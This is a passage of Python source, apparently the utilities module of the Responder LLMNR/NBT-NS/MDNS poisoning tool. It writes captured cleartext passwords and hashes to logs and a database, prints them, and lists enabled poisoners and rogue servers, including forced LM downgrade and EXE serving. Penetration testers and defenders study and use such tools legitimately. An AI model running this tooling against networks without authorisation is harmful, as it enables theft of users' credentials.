'logs', fname) 147 | 148 | cursor = sqlite3.connect(settings.Config.DatabaseFile) 149 | cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets 150 | res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user'])) 151 | (count,) = res.fetchone() 152 | 153 | if not count: 154 | with open(logfile,"a") as outf: 155 | if len(result['cleartext']): # If we obtained cleartext credentials, write them to file 156 | outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace'))) 157 | else: # Otherwise, write JtR-style hash string to file 158 | outf.write(result['fullhash'].encode('utf8', 'replace') + '\n') 159 | 160 | cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash'])) 161 | cursor.commit() 162 | 163 | 164 | if not count or settings.Config.Verbose: # Print output 165 | if len(result['client']): 166 | print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))) 167 | if len(result['hostname']): 168 | print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))) 169 | if len(result['user']): 170 | print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))) 171 | 172 | # Bu order of priority, print cleartext, fullhash, or hash 173 | if len(result['cleartext']): 174 | print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))) 175 | elif len(result['fullhash']): 176 | print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))) 177 | elif len(result['hash']): 178 | print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))) 179 | 180 | # Appending auto-ignore list if required 181 | # Except if this is a machine account's hash 182 | if settings.Config.AutoIgnore and not result['user'].endswith('$'): 183 | settings.Config.AutoIgnoreList.append(result['client']) 184 | print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1) 185 | else: 186 | print color('[*]', 3, 1), 'Skipping previously captured hash for %s' % result['user'] 187 | cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client'])) 188 | cursor.commit() 189 | cursor.close() 190 | 191 | 192 | def Parse_IPV6_Addr(data): 193 | if data[len(data)-4:len(data)][1] =="\x1c": 194 | return False 195 | elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01": 196 | return True 197 | elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01": 198 | return True 199 | return False 200 | 201 | def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission. 202 | try: 203 | from string import printable 204 | 205 | if len(nbname) != 32: 206 | return nbname 207 | 208 | l = [] 209 | for i in range(0, 32, 2): 210 | l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf))) 211 | 212 | return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) 213 | except: 214 | return "Illegal NetBIOS name" 215 | 216 | 217 | def NBT_NS_Role(data): 218 | return { 219 | "\x41\x41\x00":"Workstation/Redirector", 220 | "\x42\x4c\x00":"Domain Master Browser", 221 | "\x42\x4d\x00":"Domain Controller", 222 | "\x42\x4e\x00":"Local Master Browser", 223 | "\x42\x4f\x00":"Browser Election", 224 | "\x43\x41\x00":"File Server", 225 | "\x41\x42\x00":"Browser", 226 | }.get(data, 'Service not known') 227 | 228 | 229 | def banner(): 230 | banner = "\n".join([ 231 | ' __', 232 | ' .----.-----.-----.-----.-----.-----.--| |.-----.----.', 233 | ' | _| -__|__ --| _ | _ | | _ || -__| _|', 234 | ' |__| |_____|_____| __|_____|__|__|_____||_____|__|', 235 | ' |__|' 236 | ]) 237 | 238 | print banner 239 | print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__ 240 | print "" 241 | print " Author: Laurent Gaffie (laurent.gaffie@gmail.com)" 242 | print " To kill this script hit CRTL-C" 243 | print "" 244 | 245 | 246 | def StartupMessage(): 247 | enabled = color('[ON]', 2, 1) 248 | disabled = color('[OFF]', 1, 1) 249 | 250 | print "" 251 | print color("[+] ", 2, 1) + "Poisoners:" 252 | print ' %-27s' % "LLMNR" + enabled 253 | print ' %-27s' % "NBT-NS" + enabled 254 | print ' %-27s' % "DNS/MDNS" + enabled 255 | print "" 256 | 257 | print color("[+] ", 2, 1) + "Servers:" 258 | print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled) 259 | print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled) 260 | print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled) 261 | print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled) 262 | print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled) 263 | print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled) 264 | print ' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled) 265 | print ' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled) 266 | print ' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled) 267 | print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled) 268 | print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled) 269 | print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled) 270 | print "" 271 | 272 | print color("[+] ", 2, 1) + "HTTP Options:" 273 | print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled) 274 | print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled) 275 | print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled) 276 | print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled) 277 | #print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script 278 | print "" 279 | 280 | print color("[+] ", 2, 1) + "Poisoning Options:" 281 | print ' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled) 282 | print ' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled) 283 | print ' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled) 284 | print ' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled) 285 | print ' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled) 286 | print "" 287 | 288 | print color("[+] ", 2, 1) + "Generic Options:" 289 | print ' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1) 290 | print ' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1) 291 | print ' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1) 292 | 293 | if settings.Config.Upstream_Proxy: 294 | print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1) 295 | if len(settings.Config.RespondTo): 296 | print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1) 297 | if len(settings.Config.RespondToName): 298 | print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1) 299 | if len(settings.Config.DontRespondTo): 300 | print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1) 301 | if len(settings.Config.DontRespondToName): 302 | print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1) 303 | print "\n\n" 304 | 305 | 306 | # Useful for debugging 307 | def hexdump(src, l=0x16): 308 | res = [] 309 | sep = '.' 310 | src = str(src) 311 | 312 | for i in range(0, len(src), l): 313 | s = src[i:i+l] 314 | hexa = '' 315 | 316 | for h in range(0,len(s)): 317 | if h == l/2: 318 | hexa += ' ' 319 | h = s[h] 320 | if not isinstance(h, int): 321 | h = ord(h) 322 | h = hex(h).replace('0x','') 323 | if len(h) == 1: 324 | h = '0'+h 325 | hexa += h + ' ' 326 | 327 | hexa = hexa.strip(' ') 328 | text = '' 329 | 330 | for c in s: 331 | if not isinstance(c, int): 332 | c = ord(c) 333 | 334 | if 0x20 <= c < 0x7F: 335 | text += chr(c) 336 | else: 337 | text += sep 338 | 339 | res.append(('%08X: %-'+str(l*(2+1)+1)+'s |%s|') % (i, hexa, text)) 340 | 341 | return '\n'.join(res) --------------------------------------------------------------------------------